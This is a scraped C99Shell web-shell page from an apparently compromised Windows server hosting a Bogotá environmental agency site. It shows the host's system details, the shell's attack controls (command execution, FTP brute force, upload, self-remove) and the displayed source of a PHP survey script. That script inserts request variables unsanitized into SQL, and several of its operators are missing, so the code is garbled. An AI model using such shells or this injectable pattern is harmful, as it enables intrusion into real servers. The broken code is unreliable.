!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\Extranet\phpscripts\   drwxrwxrwx
Free 4.08 GB of 39.52 GB (10.32%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     generarpreg1.php (8.32 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<html>

<head>
<meta name="GENERATOR" content="Microsoft FrontPage 3.0">
<title>Departamento T&eacute;cnico Administrativo del Medio Ambiente, DAMA</title>
<script language="JavaScript">
<!--
function MM_reloadPage(init) {  //reloads the window if Nav4 resized
  if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
    document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
  else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
}
MM_reloadPage(true);
// -->
</script>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"></head>

<body topmargin="0" bgcolor="#FFFFFF">
<table border="0" cellpadding="6" width="100%">
  <tr>
    <td width="33%"></td>
    <td width="33%"><table border="0" cellpadding="0" width="800" cellspacing="0">
        <tr> 
          <td><div align="center"><img src="sitebanner.gif" width="543" height="104"></div></td>
        </tr>
        <tr> 
          <td width="100%" valign="middle"> <table border="0" width="100%"
        cellspacing="0" cellpadding="0" height="333">
              <tr> 
                <td width="33%" height="123"></td>
                <td width="33%" height="123" valign="bottom"> <table width="100%" border="0" cellspacing="0" cellpadding="2" height="87">
                    <tr> 
                      <td></td>
                    </tr>
                    <tr> 
                      <td height="87"> <p align="center"><font face="Verdana, Arial, Helvetica, sans-serif"><b><font size="5"></font><font face="Verdana, Arial, Helvetica, sans-serif"><b><font size="5"><img src="fblanco.gif" width="15" height="18"> 
                          Evaluaciones<br>
                          <font size="2">Adici&oacute;n de preguntas.</font></font></b></font></b></font></p></td>
                    </tr>
                  </table>
                  <p align="left"><font color="#808080" face="Verdana"><em><img src="linnoirl.gif" width="458" height="1"
            alt="linnoirl.gif (167 bytes)"></em></font></p></td>
                <td width="34%" valign="baseline" align="center" height="123"></td>
              </tr>
              <tr align="center"> 
                <td width="33%"></td>
                <td width="33%" bgcolor="#FFFFFF" background="fon.gif"> 
                  <table width="100%" border="0" cellspacing="0" cellpadding="8">
                    <tr> 
                      <td> 
                        <?php

// Verifica que si no es la primera pregunta no grabe ningun registro.
// Ademas almacena la pregunta anterior en la base de datos.

if ($preg 0) {
include(
'conect/conect.php');
$query ="INSERT INTO preguntas VALUES('$preg','$p','$nrp')";
$result mysql_query($query,$db);
}


// Si no hay mas preguntas, el genera un boton de crear las respuestas.

if ($preg == $nupre)
{
?>
                        <p><font face="Verdana, Arial, Helvetica, sans-serif" size="2">El 
                          m&oacute;dulo ha agregado las preguntas referentes a 
                          la evaluaci&oacute;n. Si usted quiere cambiar su contenido, 
                          tendr&aacute; que repetir todo el procedimiento.</font></p>
                        <p><strong><font face="Verdana" size="2"><b>Ahora, para 
                          que quede completa la evaluaci&oacute;n, usted deber&aacute; 
                          a&ntilde;adir las respuestas.</b> <font color="#FF0000">Si 
                          usted abandona ahora, la evaluaci&oacute;n quedar&aacute; 
                          inconclusa.</font></font></strong></p>
                        <?php
echo "<form name=\"form1\" method=\"post\" action=\"reqgeneraresp.php\" enctype=\"multipart/form-data\">
<table width=\"100%\" border=\"0\" cellspacing=\"0\" cellpadding=\"5\">\n"
;
echo 
"<input type=\"hidden\" name=\"codigo1\" value=\"$codigo1\">\n";
echo 
"<input type=\"hidden\" name=\"nupre\" value=\"$nupre\">\n";
echo 
"<input type=\"hidden\" name=\"nu\" value=\"1\">\n";
echo 
"<input type=\"hidden\" name=\"start\" value=\"0\">\n";   


echo 
"</table><p><center><input type=\"submit\" name=\"Submit\" value=\"Generar las respuestas.\"></center></p>\n";
?></form>
                        </td>
                    </tr>
                  </table></td>
                <td width="34%" valign="top"> <table width="100%" border="0" cellspacing="0" cellpadding="8">
                    <tr> 
                      <td> <p>&nbsp;</p></td>
                    </tr>
                  </table>
                  <p align="left">&nbsp; </td>
              </tr>
              <tr align="center"> 
                <td width="33%"></td>
                <td width="33%" valign="top"> <p align="center"><font color="#808080" face="Verdana"><em><img
            src="linnoirl.gif" width="458" height="1" alt="linnoirl.gif (167 bytes)"></em></font><font
            face="Verdana"><strong><br>
                    <small><small><font size="1">Departamento T&eacute;cnico Administrativo 
                    del Medio Ambiente, DAMA</font></small></small></strong><font size="1"><small><small><br>
                    <a href="http://www.alcaldiabogota.gov.co">Alcaldía Mayor 
                    de Bogotá</a><br>
                    Todos los Derechos Reservados<br>
                    1999 - 2004</small></small></font></font></td>
                <td width="34%"></td>
              </tr>
            </table></td>
        </tr>
      </table>
    </td>
    <td width="34%" align="center"></td>
  </tr>
</table>
</body>
</html>
<?php
exit;
}

// De lo contrario se abren los campos para crear la siguiente pregunta

echo "<form name=\"form1\" method=\"post\" action=\"reqgenerarpreg1.php\" enctype=\"multipart/form-data\">
<table width=\"100%\" border=\"0\" cellspacing=\"0\" cellpadding=\"5\">\n"
;

// Formato de ingreso de pregunta

$preg $preg 1;

echo 
"<tr>
      <td>
        <p><font face=\"Verdana, Arial, Helvetica, sans-serif\" size=\"2\"><img src=\"pred.gif\" width=\"7\" height=\"7\"> <b>Pregunta</b>
          
$preg:</font></p>
        <p>
          <textarea name=\"p\" cols=\"40\" rows=\"7\"></textarea>
          <font face=\"Verdana, Arial, Helvetica, sans-serif\" size=\"2\"> </font></p>
      </td>
      <td>
        <p><font face=\"Verdana, Arial, Helvetica, sans-serif\" size=\"2\"><img src=\"pred.gif\" width=\"7\" height=\"7\"> <b>Numero
          de Respuestas:</b></font></p>
        <p><font face=\"Verdana, Arial, Helvetica, sans-serif\" size=\"2\">
          <input type=\"text\" name=\"nrp\" size=\"2\" maxlength=\"2\">
          </font></p>
      </td>
    </tr>\n"
;

echo 
"<input type=\"hidden\" name=\"codigo1\" value=\"$codigo1\">\n";
echo 
"<input type=\"hidden\" name=\"nupre\" value=\"$nupre\">\n";
echo 
"<input type=\"hidden\" name=\"preg\" value=\"$preg\">\n";


echo 
"</table><p><center><input type=\"submit\" name=\"Submit\" value=\"Guardar esta pregunta.\"></center></p>\n";

?>
</form>


                         </td>
                    </tr>
                  </table>

                </td>    <td width="34%" valign="top">
                  <table width="100%" border="0" cellspacing="0" cellpadding="8">
                    <tr>
                      <td>
                      </td>
                    </tr>
                  </table>
                  <p align="left">&nbsp;
                </td>
          </tr>
          <tr align="center">
            <td width="33%"></td>
                <td width="33%" valign="top">
<p align="left"><font color="#808080" face="Verdana"><em><img
            src="linnoirl.gif" width="458" height="1" alt="linnoirl.gif (167 bytes)"></em></font><font
            face="Verdana"><strong><br>
            <small><small>Red Capital, Servimos al Ciudadano<br>
            Unidad Coordinadora CADE, Secretaría General</small></small></strong><small><small><br>
                    <a href="http://www.alcaldiabogota.gov.co">Alcaldía Mayor
                    de Bogotá</a><br>
            Todos los Derechos Reservados<br>
            1999 - 2003</small></small></font></td>
            <td width="34%"></td>
          </tr>
        </table>
        </td>
      </tr>
    </table>
    </td>
    <td width="34%" align="center"></td>
  </tr>
</table>
</body>
</html>





:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--